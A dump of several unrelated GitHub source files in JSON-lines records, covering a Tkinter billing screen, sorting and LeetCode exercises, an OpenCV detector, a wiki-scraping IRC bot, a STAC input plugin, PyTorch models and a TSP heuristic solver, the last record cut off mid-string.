global frame\n frame = Frame(main, background=colors.PRIMARY)\n frame.pack(fill=BOTH, expand=True)\n\n header = Frame(frame)\n header.pack(fill=X)\n back = ttk.Label(header, text=\"⬅\", background=colors.PRIMARY,\n foreground=colors.SECONDARY, font=(30), padding=10,)\n back.pack(side=LEFT, fill=BOTH)\n\n heading = \"Add Products 📦 \"\n if product != None:\n heading = \"Update Product 📦\"\n\n ttk.Label(header, text=heading, background=colors.PRIMARY,\n foreground=colors.SECONDARY, font=(30), padding=10).pack(side=RIGHT, fill=BOTH, expand=True)\n back.bind(\"\", lambda e: go_back(main))\n\n content = Frame(frame, background=colors.PRIMARY)\n content.pack(fill=BOTH, expand=True)\n\n selected_price = StringVar()\n selected_product_name = StringVar()\n seleceted_quantity = StringVar()\n selected_product_type = StringVar()\n selected_product_id = -1\n\n if product != None:\n selected_product_id = product[0]\n selected_product_name.set(product[1])\n seleceted_quantity.set(product[2])\n selected_price.set(product[3])\n selected_product_type.set([i[1] for i in product_types if product[4] == i[0]][0])\n\n ##\n container = Frame(content, background=colors.PRIMARY)\n container.pack(fill=X, padx=10, pady=10)\n ttk.Label(container, text=\"Product Type\",\n background=colors.SECONDARY, foreground=\"#fff\", width=25).pack(side=LEFT)\n product_types_combobox = ttk.Combobox(\n container, textvariable=selected_product_type)\n product_types_combobox['values'] = tuple([i[1] for i in product_types])\n product_types_combobox.pack(side=RIGHT, fill=X, expand=True)\n ##\n\n ##\n container = Frame(content, background=colors.PRIMARY)\n container.pack(fill=X, padx=10, pady=10)\n ttk.Label(container, text=\"Product Name\",\n background=colors.SECONDARY, foreground=\"#fff\", width=25).pack(side=LEFT)\n ttk.Entry(container, textvariable=selected_product_name).pack(\n side=RIGHT, fill=X, expand=True)\n ##\n\n ##\n container = Frame(content, background=colors.PRIMARY)\n container.pack(fill=X, padx=10, pady=10)\n ttk.Label(container, text=\"Quantity\",\n background=colors.SECONDARY, foreground=\"#fff\", width=25).pack(side=LEFT)\n ttk.Entry(container, textvariable=seleceted_quantity).pack(\n side=RIGHT, fill=X, expand=True)\n ##\n\n ##\n container = Frame(content, background=colors.PRIMARY)\n container.pack(fill=X, padx=10, pady=10)\n ttk.Label(container, text=\"Price\",\n background=colors.SECONDARY, foreground=\"#fff\", width=25).pack(side=LEFT)\n ttk.Entry(container, textvariable=selected_price).pack(\n side=RIGHT, fill=X, expand=True)\n ##\n\n def get_input_data():\n return {\n 'product_id': selected_product_id ,\n 'products_name': selected_product_name.get(),\n 'quantity': seleceted_quantity.get(),\n 'price': selected_price.get(),\n 'products_types_id': [a[0] for a in product_types if selected_product_type.get() in a][0]\n }\n \n def add_product(data):\n selected_price.set('')\n seleceted_quantity.set('')\n selected_product_name.set('')\n if api.products.add(data) > 0:\n messagebox.showinfo(\"Info\", \"Inserted Successfully\")\n else:\n messagebox.showerror(\"Error\", \"Something Went Wrong!\")\n\n def update_product(data):\n if api.products.update(data) > 0:\n messagebox.showinfo(\"Info\", \"Updated Successfully\")\n else:\n messagebox.showerror(\"Error\", \"Something Went Wrong!\")\n\n container = Frame(content, background=colors.PRIMARY)\n container.pack(fill=X, padx=10, pady=10)\n ttk.Button(container, text=\"Submit\", width=25,\n command=lambda: add_product(get_input_data()) if product == None else update_product(get_input_data())).pack(fill=BOTH)\n","repo_name":"alltimenoob/Billing-System","sub_path":"screens/add_product_screen.py","file_name":"add_product_screen.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71091145973","text":"'''\nCreated on 13 nov 2023\n\n@author: chispas\n\nInserta cada elemento en su posición correcta dentro de una sublista ordenada.\n\n'''\n\n\ndef sort(arr):\n print(\"insertion sort\")\n print(\"Por hacer....\")\n # Traverse through all elements in the list starting from the second element\n for i in range(1, len(arr)):\n key = arr[i]\n \n # Move elements of arr[0..i-1] that are greater than key to one position ahead of their current position\n j = i - 1\n while j >= 0 and key < arr[j]:\n arr[j + 1] = arr[j]\n j -= 1\n \n arr[j + 1] = key\n return arr\n","repo_name":"Chispasgg/euneiz-eda","sub_path":"algoritmos/src/diferentes_ordenamientos/por_hacer/insertion.py","file_name":"insertion.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31670532565","text":"#!/usr/bin/python\n#!--*-- coding:utf-8 --*--\nimport cv2\nimport matplotlib.pyplot as plt\n\n\npb_file = '../data/frozen_inference_graph_ssd.pb'\npbtxt_file = '../data/graph_ssd.pbtxt'\nnet = cv2.dnn.readNetFromTensorflow(pb_file, pbtxt_file)\nlabelmap = {0:'car_blue',1:'car_red',2:'car_unknown',3:'armor_blue',4:'armor_red',5:'armor_blue'}\n\nscore_threshold = 0.5\n\nimg_file = '../imgs/patch1.jpg'\n\nimg_cv2 = cv2.imread(img_file)\nheight, width, _ = img_cv2.shape\nnet.setInput(cv2.dnn.blobFromImage(img_cv2, \n size=(300, 300), \n swapRB=True, \n crop=False))\n\nout = net.forward()\n#print(out)\n\nfor detection in out[0, 0, :,:]:\n \n score = float(detection[2])\n if score > score_threshold:\n print(detection)\n print(labelmap[detection[1]])\n left = detection[3] * width\n top = detection[4] * height\n right = detection[5] * width\n bottom = detection[6] * height\n cv2.rectangle(img_cv2, \n (int(left), int(top)), \n (int(right), int(bottom)), \n (23, 230, 210), \n thickness=2)\n\nt, _ = net.getPerfProfile()\nlabel = 'Inference time: %.2f ms' % \\\n (t * 1000.0 / cv2.getTickFrequency())\ncv2.putText(img_cv2, label, (0, 15), \n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255))\n\nplt.figure(figsize=(10, 8))\nplt.imshow(img_cv2[:, :, ::-1])\nplt.show()","repo_name":"satoshiSchubert/RadarObjDet_HNU","sub_path":"duckDet/faster_rcnn_load_test.py","file_name":"faster_rcnn_load_test.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33899183943","text":"from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar\n\nimport attr\n\nif TYPE_CHECKING:\n from ..models.http_headers import HttpHeaders\n from ..models.http_status_line import HttpStatusLine\n\n\nT = TypeVar(\"T\", bound=\"BatchResponse\")\n\n\n@attr.s(auto_attribs=True)\nclass BatchResponse:\n r\"\"\"The common properties for responses to individual requests within a batch.\n\n Attributes:\n headers (HttpHeaders): A mapping of additional HTTP headers to send/receive for an individual request within a\n batch.\n status (HttpStatusLine): The HTTP status line associated with the response to an individual request within a\n batch. For more information, consult [RFC 2616](https://www.w3.org/Protocols/rfc2616/rfc2616-sec6.html).\n \"\"\"\n\n headers: \"HttpHeaders\"\n status: \"HttpStatusLine\"\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n headers = self.headers.to_dict()\n\n status = self.status.to_dict()\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"headers\": headers,\n \"status\": status,\n }\n )\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.http_headers import HttpHeaders\n from ..models.http_status_line import HttpStatusLine\n\n d = src_dict.copy()\n headers = HttpHeaders.from_dict(d.pop(\"headers\"))\n\n status = HttpStatusLine.from_dict(d.pop(\"status\"))\n\n result = cls(\n headers=headers,\n status=status,\n )\n\n result.additional_properties = d\n return result\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/product_pricing_2022_05_01/models/batch_response.py","file_name":"batch_response.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15196184301","text":"#!/usr/bin/env python\nfrom lxml import html\nimport requests\nimport sys\nimport time\n\nsearch = ' '.join(sys.argv[5:]).strip()\nif not search:\n sys.exit(1)\n\nurl = \"https://wiki.london.hackspace.org.uk/view/Grievance_Procedure/Bans_Issued\"\n\nresult = requests.get(url)\nresult = html.fromstring(result.content)\nheadings = result.xpath(\"//table[1]/tr/th//text()\")\nentries = result.xpath(\"//tr/td//text()\")\n\nbans = {}\ncount = 1\nfor item in entries:\n if count == 1 and item.strip() not in bans: # Ignore any subsequent (old) bans\n currentKey = item.strip()\n bans[currentKey] = []\n else:\n bans[currentKey].append(item.strip())\n if count == len(headings):\n count = 1\n else:\n count += 1\n\nname = [key for key, value in bans.items() if search.lower() in key.lower()]\nif name:\n name = name[0]\n now = time.time()\n expires = int(time.mktime(time.strptime(bans[name][2], '%Y/%m/%d')))\n\n if expires > now:\n print(\"%s is banned for %s due to %s. Expires: %s\" % (name, bans[name][0], bans[name][3], bans[name][2]))\n else:\n print(\"%s was banned for %s due to %s. Expired: %s\" % (name, bans[name][0], bans[name][3], bans[name][2]))\n\nelse:\n print(\"Couldn't find a ban for: %s\" % search)\n","repo_name":"londonhackspace/irccat-commands","sub_path":"bans.py","file_name":"bans.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"} +{"seq_id":"38695055819","text":"#https://leetcode.com/problems/two-sum/\n#1\nfrom typing import List\n\n#Time: O(n)\n#Space: O(n)\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n dict_nums = dict()\n \n for i in range(len(nums)):\n number = nums[i]\n if number not in dict_nums:\n dict_nums[number] = [i]\n else:\n dict_nums[number].append(i)\n \n updated_nums = nums\n for j in range(len(updated_nums)):\n updated_nums[j] = target - updated_nums[j]\n \n \n for x in range(len(updated_nums)):\n current_index = x\n number_to_look_for = updated_nums[current_index]\n if number_to_look_for in dict_nums:\n dict_entry = dict_nums[number_to_look_for]\n for j in range(len(dict_entry)):\n position_in_array = dict_entry[j]\n if position_in_array != current_index:\n return [current_index, position_in_array]","repo_name":"Taequn/leetcode","sub_path":"Arrays_Hashing/1_two_sum.py","file_name":"1_two_sum.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38676855283","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import colors\nfrom matplotlib.ticker import PercentFormatter\nimport time\n#\nN_points = 100000\nn_bins = 40\n\nfile = open(\"sortidatemporal.txt\",\"r\")\nsuma_prova = 0\nx = np.array([])\n\nfor f in file:\n\t#print(f)\n\ta = int(f)\n\tx = np.append(x,[a])\n\t#we append to the np array x, the new value readed\n\nfig, axs = plt.subplots(1, 1, sharey=True, tight_layout=True,figsize=(14,10))\n#Subplot of the same figure with 1 row, 2 columns, sharing the Y-axis\n#axs is not axes, it stands for each one of my plots. and tight_layout is for everything to be\n#correctly displayed\t\n\n# We can set the number of bins with the `bins` kwarg\n#I want to study the vector of results, Supose that x = vector of results\n\ncounter = 0\nsum = 0\ny = []\nfor i in x:\n\tcounter += 1\n\tsum += i\n\tif (counter % 10 == 0):\n\t\ty.append(sum / 10)\n\t\tsum = 0\n\t\t#We group the data in the averages of 10\n#Right now the vector y has the averages 10 by 10\nfig.suptitle(\"Result of diferent brains and separate joint action space\",fontsize=16)\naxs.plot(y)\n#axs.set_title('subplot 1')\naxs.set_xlabel('Number of episodes',fontsize=15,labelpad=20)\naxs.set_ylabel('Average of 10 from the number of steps needed',fontsize=15,labelpad=20)\n\n#axs[0].hist(x, bins=n_bins)\n#axs[1].hist(y, bins=n_bins)\nplt.savefig(\"output_image/output_RL.png\")\n\nplt.show()\n","repo_name":"jordibosch20/MAS","sub_path":"model_analysis.py","file_name":"model_analysis.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9244930441","text":"class Solution:\n \"\"\"\n @param s: A string\n @return: Whether the string is a valid palindrome\n \"\"\"\n def isPalindrome(self, s):\n # write your code here\n left = 0 \n right = len(s) - 1 \n \n while left < right:\n \n while left < right and not s[left].isalpha() and not s[left].isdigit():\n left += 1 \n while left < right and not s[right].isalpha() and not s[right].isdigit() :\n right -= 1\n \n if s[left].lower() != s[right].lower():\n return False\n else:\n left += 1 \n right -= 1 \n \n \n return True\n ","repo_name":"fredzhangziji/Leetcode","sub_path":"Python/Two Pointers/LintCode 415. Valid Palindrome.py","file_name":"LintCode 415. Valid Palindrome.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17593910336","text":"# encoding: utf-8\n\"\"\"\nFile System Input\n-----------------\n\nTakes a path and will scan the file system, submitting\neach file to the asset generator\n\n**Plugin name:** ``file_system``\n\n.. list-table::\n :header-rows: 1\n\n * - Option\n - Value Type\n - Description\n * - ``path``\n - ``string``\n - ``REQUIRED`` The root path to scan\n * - ``kwargs``\n - ``dict``\n - Optional kwargs to pass to `os.walk `_\n * - ``filters``\n - :ref:`Filters `\n - Optional filters\n\nExample Configuration:\n .. code-block:: yaml\n\n inputs:\n - method: file_system\n path: test_directory\n\n\"\"\"\n__author__ = \"Richard Smith\"\n__date__ = \"02 Jun 2021\"\n__copyright__ = \"Copyright 2018 United Kingdom Research and Innovation\"\n__license__ = \"BSD - see LICENSE file in top-level package directory\"\n__contact__ = \"richard.d.smith@stfc.ac.uk\"\n\n\nimport logging\nimport os\nfrom datetime import datetime\n\nfrom tqdm import tqdm\n\nfrom stac_generator.core.generator import BaseGenerator\nfrom stac_generator.core.input import BaseInput\n\nlogger = logging.getLogger(__name__)\n\n\nclass FileSystemInput(BaseInput):\n \"\"\"\n Performs an os.walk to provide a stream of paths for procesing.\n \"\"\"\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.root_path = kwargs[\"path\"]\n self.kwargs = kwargs.get(\"kwargs\", {})\n\n def run(self, generator: BaseGenerator):\n total_files = 0\n start = datetime.now()\n for root, _, files in tqdm(os.walk(self.root_path, **self.kwargs)):\n for file in files:\n filename = os.path.abspath(os.path.join(root, file))\n\n if self.should_process(filename):\n generator.process(filename)\n logger.debug(f\"Input processing: {filename}\")\n else:\n logger.debug(f\"Input skipping: {filename}\")\n total_files += 1\n end = datetime.now()\n print(f\"Processed {total_files} files from {self.root_path} in {end-start}\")\n","repo_name":"cedadev/stac-generator","sub_path":"stac_generator/plugins/inputs/file_system.py","file_name":"file_system.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"3091668592","text":"from random import randint, choice\nfrom time import sleep\n\nprint(f'Jodo de Par ou Ímpar'.center(70))\nprint('-==-' * 20)\n\nsorteio = ['PAR', 'IMPAR'] # Escolhas do PC;\nsoma = 0 # Resultado do par ou ímpar;\nempate = 0 # Se empatar mais de 3x, o jogo termina;\ncont = 0 # Conta quantas vezes seguidas o jogador venceu;\nwhile True:\n# Dados do jogador /////////////////////////////////////////////////////////////////////\n valorJogador = int(input('\\t\\t\\tDiga um valor: '))\n jogador = str(input('\\t\\t\\tPAR ou ÍMPAR [P/I]? ')).strip().upper()[0]\n while jogador not in 'PI': # Garantir que o jogador escolha ou par ou ímpar;\n jogador = str(input('\\t\\t\\tÉ PAR ou É ÍMPAR [P/I]! ')).strip().upper()[0]\n if jogador == 'P':\n jogador = 'PAR'\n elif jogador == 'I':\n jogador = 'IMPAR'\n\n# Dados do PC ////////////////////////////////////////////////////////////////////////////\n valorPC = randint(0, 10) # Faixa de valores para a soma do PC;\n pc = choice(sorteio) # Escolha do PC: par ou impar;\n\n print('-==-' * 20)\n# Resultado do jogo, conforme os valores de ambos os jogadores ///////////////////////////\n soma = valorJogador + valorPC # Verificação do resultado do jogo;\n if soma % 2 == 0:\n resultado = 'PAR'\n else:\n resultado = 'IMPAR'\n\n# RESULTADOS! /////////////////////////////////////////////////////////////////////////////\n if resultado == jogador: # Quando o jogador vence;\n cont += 1\n print(f'\\t\\t\\tVocê pediu {jogador}...')\n sleep(2)\n print(f'\\t\\t\\tEeu pedi {valorPC} que deu {soma}; Deu {resultado}, você venceu {cont}x! Parabéns!')\n print('-==-' * 20)\n\n else:\n print(f'\\t\\t\\tVocê pediu {jogador}...')\n sleep(2)\n print(f'\\t\\t\\tE eu pedi {valorPC} que deu {soma}; Deu {resultado}, você perdeu!')\n print('-==-' * 20)\n break","repo_name":"rodrigodvash/CursoemVideo_Python","sub_path":"desafios/Mundo02/bateria10(66-71)/ex068_jogo_par_impar_myV2.py","file_name":"ex068_jogo_par_impar_myV2.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37052498778","text":"import abc\nimport torch\nimport numpy as np\nfrom utils import nn_utils\nfrom MINLP.models import models_lancer\nfrom torch import nn\nfrom torch import optim\n\n\nclass BaseCModel(object, metaclass=abc.ABCMeta):\n def predict(self, y=None) -> np.ndarray:\n raise NotImplementedError\n\n def initial_fit(self, **kwargs):\n raise NotImplementedError\n\n def update(self, model_loss: models_lancer.BaseLancer, y=None):\n raise NotImplementedError\n\n def save(self, filepath: str):\n raise NotImplementedError\n\n\nclass DirectCModel(BaseCModel):\n def __init__(self,\n z_dim,\n learning_rate,\n opt_type=\"adam\",\n momentum=0.9,\n output_activation=\"relu\", **kwargs):\n super().__init__(**kwargs)\n self.z_dim = z_dim\n self.learning_rate = learning_rate\n self.momentum = momentum\n self.model_output = torch.randn(z_dim, requires_grad=True)\n self.model_output.to(nn_utils.device)\n self.loss = nn.MSELoss()\n self.output_activation = nn_utils._str_to_activation[output_activation]\n self.opt_type = opt_type\n if self.opt_type == \"adam\":\n self.optimizer = optim.Adam(params=[self.model_output], lr=self.learning_rate)\n else:\n self.optimizer = optim.SGD(params=[self.model_output], lr=self.learning_rate,\n momentum=self.momentum)\n\n # save model parameters\n def save(self, filepath):\n torch.save(self.model_output, filepath)\n\n def mode(self, train=True):\n pass\n\n def initial_fit(self, z_init: np.ndarray, **kwargs):\n assert len(z_init) == len(self.model_output)\n z_init_tf = nn_utils.from_numpy(z_init)\n self.model_output = z_init_tf.clone().detach().requires_grad_(True)\n self.model_output.to(nn_utils.device)\n if self.opt_type == \"adam\":\n self.optimizer = optim.Adam(params=[self.model_output], lr=self.learning_rate)\n else:\n self.optimizer = optim.SGD(params=[self.model_output], lr=self.learning_rate,\n momentum=self.momentum)\n\n def predict(self, y=None) -> np.ndarray:\n with torch.no_grad():\n pred = self.output_activation(self.model_output)\n return nn_utils.to_numpy(pred)\n\n def update(self, model_loss: models_lancer.BaseLancer, y=None):\n if y is not None:\n assert isinstance(y, np.ndarray)\n assert len(y) == self.z_dim\n y_tensor = nn_utils.from_numpy(y)\n else:\n y_tensor = None\n self.optimizer.zero_grad()\n pred = self.output_activation(self.model_output)\n total_loss = model_loss.forward_theta_step(pred, y_tensor)\n total_loss.backward()\n self.optimizer.step()\n return total_loss.item()\n\n\nclass MLPCModel(BaseCModel, nn.Module):\n def __init__(self,\n y_dim,\n z_dim,\n n_layers,\n layer_size,\n learning_rate,\n weight_decay=0.001,\n activation=\"tanh\",\n output_activation=\"relu\", **kwargs):\n super().__init__(**kwargs)\n self.y_dim = y_dim\n self.z_dim = z_dim\n self.n_layers = n_layers\n self.layer_size = layer_size\n self.learning_rate = learning_rate\n self.weight_decay = weight_decay\n #####################################\n self.model_output = nn_utils.build_mlp(input_size=self.y_dim,\n output_size=self.z_dim,\n n_layers=self.n_layers,\n size=self.layer_size,\n activation=activation,\n output_activation=output_activation)\n self.model_output.to(nn_utils.device)\n self.loss = nn.MSELoss()\n self.optimizer = optim.Adam(params=self.model_output.parameters(),\n lr=self.learning_rate,\n weight_decay=self.weight_decay)\n\n # save model parameters\n def save(self, filepath):\n torch.save(self.state_dict(), filepath)\n\n def initial_fit(self, y: np.ndarray, z_init: np.ndarray,\n learning_rate=0.005, num_epochs=100, batch_size=64, print_freq=1):\n assert y.shape[0] == z_init.shape[0]\n N = y.shape[0]\n n_batches = int(N / batch_size)\n\n optimizer = optim.Adam(params=self.model_output.parameters(),\n lr=learning_rate,\n weight_decay=self.weight_decay)\n self.mode(train=True)\n for itr in range(num_epochs):\n rand_indices = np.random.permutation(N)\n for bi in range(n_batches + 1):\n idxs = rand_indices[bi * batch_size: (bi + 1) * batch_size]\n y_batch = nn_utils.from_numpy(y[idxs])\n z_init_batch = nn_utils.from_numpy(z_init[idxs])\n z_pred_batch = self.forward(y_batch)\n optimizer.zero_grad()\n loss = self.loss(z_pred_batch, z_init_batch)\n loss.backward()\n optimizer.step()\n if itr % print_freq == 0:\n print(\"*** Initial fit epoch: \", itr, \", loss: \", loss.item())\n\n def predict(self, y=None) -> np.ndarray:\n assert y is not None\n assert isinstance(y, np.ndarray)\n self.mode(train=False)\n with torch.no_grad():\n if len(y.shape) > 1:\n y_tensor = nn_utils.from_numpy(y)\n else:\n y_tensor = nn_utils.from_numpy(y[None])\n z_pred_tensor = self.forward(y_tensor)\n return nn_utils.to_numpy(z_pred_tensor)\n\n def mode(self, train=True):\n if train:\n self.model_output.train()\n else:\n self.model_output.eval()\n\n def forward(self, y_tensor: torch.FloatTensor):\n return torch.squeeze(self.model_output(y_tensor))\n\n def update(self, model_loss: models_lancer.BaseLancer, y=None):\n assert y is not None\n assert isinstance(y, np.ndarray)\n y_tensor = nn_utils.from_numpy(y)\n z_pred_tensor = self.forward(y_tensor)\n self.optimizer.zero_grad()\n total_loss = model_loss.forward_theta_step(z_pred_tensor)\n total_loss.backward()\n self.optimizer.step()\n return total_loss.item()\n","repo_name":"facebookresearch/LANCER","sub_path":"MINLP/models/models_c.py","file_name":"models_c.py","file_ext":"py","file_size_in_byte":6564,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"42874137595","text":"from __future__ import division\n\nfrom utils import distance, progress, tour_length\nimport numpy as np\nimport copy\nimport operator\nimport matplotlib.pyplot as plt\nimport time\nimport random\nfrom multiprocessing import Process, Queue\n\ndef find_log_patience(x):\n\t# define static point where the curve passes through\n\ty1 = 2\n\ty2 = 1000\n\tx1 = 51\n\tx2 = 33800\n\ta = (y1-y2) / np.log(x1 / x2)\n\tb = np.exp((y2*np.log(x1)-y1*np.log(x2))/(y1-y2))\n\treturn a*np.log(b*x)\n\ndef find_distances(origin, points):\n\tdistances = {}\n\tfor point in points:\n\t\tdistances[point.index] = distance(origin, point)\n\tsorted_distances = sorted(distances.items(), key=operator.itemgetter(1))\n\treturn sorted_distances\n\ndef find_point_by_index(next_point, points):\n\tfor index, point in enumerate(points):\n\t\tif point.index == next_point:\n\t\t\treturn index\n\ndef plot_points(points, solution):\n\tplt.figure(1)\n\tplt.subplot(211)\n\tax = plt.axes()\n\tarea = 100\n\tfor point in points:\n\t\tplt.scatter(point.x, point.y, s=area, alpha=0.5)\n\n\tfor index in range(0, len(points)-1):\n\t\tx = points[solution[index]].x\n\t\ty = points[solution[index]].y\n\t\tdx = points[solution[index+1]].x - points[solution[index]].x\n\t\tdy = points[solution[index+1]].y - points[solution[index]].y\n\t\tax.arrow(x, y, dx, dy, head_width=0.05, head_length=0.01, fc='k', ec='k')\n\tplt.show()\n\ndef improve_greedy_2OPT(points, solution):\n\t# print('*** 2-OPT ***')\n\tbest_tour_length = tour_length(points, solution)\n\tMAX_PATIENCE = find_log_patience(len(points))\n\tdone = False\n\tstart = time.time()\n\ttry:\n\t\t# 2-OPT\n\t\twhile not done:\n\t\t\ti = np.random.randint(1, len(points))\n\t\t\tj = np.random.randint(0, len(points)-1)\n\t\t\tnew_s = solution[:j] + solution[j:j+i+1][::-1] + solution[j+i+1:]\n\t\t\tcurrent_tour_length = tour_length(points, new_s)\n\t\t\tif current_tour_length < best_tour_length:\n\t\t\t\tbest_tour_length = current_tour_length\n\t\t\t\tsolution = copy.deepcopy(new_s)\n\t\t\t\t# print('New solution with length: {}'.format(best_tour_length))\n\t\t\t\t# done = True\n\t\t\t\t# print('stopping at this solution {}'.format(best_tour_length))\n\t\t\tif time.time() - start > MAX_PATIENCE:\n\t\t\t\tdone = True\n\texcept KeyboardInterrupt:\n\t\tprint('stopping at this solution {}'.format(best_tour_length))\n\n\treturn solution, points\n\n# not sure if this is 3-OPT or just random swapping\ndef improve_greedy_3OPT(points, solution):\n\t# print('*** 3-OPT ***')\n\tbest_tour_length = tour_length(points, solution)\n\tMAX_PATIENCE = find_log_patience(len(points))\n\tdone = False\n\tstart = time.time()\n\ttry:\n\t\t# 3-OPT\n\t\twhile not done:\n\t\t\tposition1, position2 = random.sample(range(0, len(points)), 2)\n\t\t\t# insert a node in an other position\n\t\t\tsolution.insert(position1, solution.pop(position2))\n\t\t\tcurrent_tour_length = tour_length(points, solution)\n\t\t\tif current_tour_length < best_tour_length:\n\t\t\t\tbest_tour_length = current_tour_length\n\t\t\t\t# print('New solution with length: {}'.format(best_tour_length))\n\t\t\t\t# done = True\n\t\t\telse:\n\t\t\t\t# insert back\n\t\t\t\tsolution.insert(position2, solution.pop(position1))\n\t\t\tif time.time() - start > MAX_PATIENCE:\n\t\t\t\tdone = True\n\t\t\t\t# print('stopping at this solution {}'.format(best_tour_length))\n\texcept KeyboardInterrupt:\n\t\tprint('stopping at this solution {}'.format(best_tour_length))\n\n\treturn solution, points\n\ndef greedy_solver(points):\n\tnew_points = []\n\told_points = copy.deepcopy(points)\n\tnext_point = np.random.randint(0, len(points))\n\tcurrent_point = old_points.pop(next_point)\n\tnew_points.append(current_point)\n\tcounter = 0\n\ttotal_points = len(old_points)\n\twhile old_points:\n\t\tprogress(counter, total_points-1)\n\t\tcounter += 1\n\t\t# find distances from current point to all other available points\n\t\tdistances = find_distances(current_point, old_points)\n\t\t# select the shortest distance\n\t\tnext_point = distances[0][0]\n\t\t# pop and add\n\t\tindex = find_point_by_index(next_point, old_points)\n\t\tcurrent_point= old_points.pop(index)\n\t\tnew_points.append(current_point)\n\t\t# print(distances)\n\tprint('')\n\n\tsolution = []\n\tfor point in new_points:\n\t\tsolution.append(point.index)\n\n\treturn solution, points\n\ndef solver(points):\n\tprint('number of points: {}'.format(len(points)))\n\tsolution, points = greedy_solver(points)\n\t# solution = list(np.random.permutation(len(points)))\n\t# plot_points(points, solution)\n\t# alternate 2-OPT with 3-OPT\n\tbest_tour_length = tour_length(points, solution)\n\tno_improvements_count = 0\n\tprint('Tour length before improvement\": {}'.format(best_tour_length))\n\n\tdone = False\n\tcounter = 0\n\twhile not done:\n\t\tcounter+=1\n\t\tsolution, points = improve_greedy_3OPT(points, solution)\n\t\tsolution, points = improve_greedy_2OPT(points, solution)\n\t\tcurrent_tour_length = tour_length(points, solution)\n\t\tif current_tour_length < best_tour_length:\n\t\t\tno_improvements_count = 0\n\t\t\tbest_tour_length = current_tour_length\n\t\t\tbest_solution = copy.deepcopy(solution)\n\t\t\tprint('New best solution with length: {}'.format(best_tour_length))\n\t\telse:\n\t\t\tno_improvements_count += 1\n\n\t\tif no_improvements_count % 2 ==0 :\n\t\t\t# print('** swap **')\n\t\t\tp1, p2 = random.sample(range(0, len(points)), 2)\n\t\t\tsolution[p1], solution[p2] = solution[p2], solution[p1]\n\t\t\t# print('After swap, tour length: {}'.format(tour_length(points, solution)))\n\n\t\t# 1\n\t\tif len(points) == 51:\n\t\t\tif best_tour_length < 430:\n\t\t\t\tdone = True\n\t\t# 2\n\t\telif len(points) == 100:\n\t\t\tif best_tour_length < 20800:\n\t\t\t\tdone = True\n\n\t\t# 3\n\t\telif len(points) == 200:\n\t\t\tif best_tour_length < 30000:\n\t\t\t\tdone = True\n\n\t\t# 4\n\t\telif len(points) == 574:\n\t\t\tif best_tour_length < 39250:\n\t\t\t\tdone = True\n\n\t\t# 5\n\t\telif len(points) == 1889:\n\t\t\tif best_tour_length < 374998:#323000:\n\t\t\t\tdone = True\n\n\t\t# 6\n\t\telif len(points) == 33810:\n\t\t\tif best_tour_length < 78478868:\n\t\t\t\tdone = True\n\n\n\tbest_tour_length = tour_length(points, best_solution)\n\tprint('Best tour length after improvement 2 and 3-OPT\": {}'.format(best_tour_length))\n\t# plot_points(points, solution)\n\treturn best_solution, points\n\ndef solver_caller(points, q):\n\tbest_solution, points = solver(points)\n\tq.put(best_solution)\n\n\ndef parallel_solver(points):\n\tq = Queue()\n\tnum_processes = 8\n\tjobs = []\n\tfor _ in range(num_processes):\n\t\tp = Process(target=solver_caller, args=(points, q))\n\t\tjobs.append(p)\n\t\ttime.sleep(np.random.rand()*2)\n\t\tp.start()\n\n\tfirst_best_solution = q.get()\n\tfirst_best_tour_length = tour_length(points, first_best_solution)\n\n\twait_for_all = False\n\t# If this is True, it will wait for all processes and select the best solution\n\t# Otherwise it will take the first good solution from the process that finishes first\n\tif wait_for_all:\n\t\tfor job in jobs:\n\t\t\tjob.join()\n\t\twhile not q.empty():\n\t\t\tprocess_solution = q.get()\n\t\t\tprocess_tour_length = tour_length(points, process_solution)\n\t\t\tif process_tour_length < first_best_tour_length:\n\t\t\t\tfirst_best_tour_length = process_tour_length\n\t\t\t\tfirst_best_solution = copy.deepcopy(process_solution)\n\n\tfor job in jobs:\n\t\tjob.terminate()\n\tprint('first element in queue{}'.format(first_best_solution))\n\tprint('first best tour length 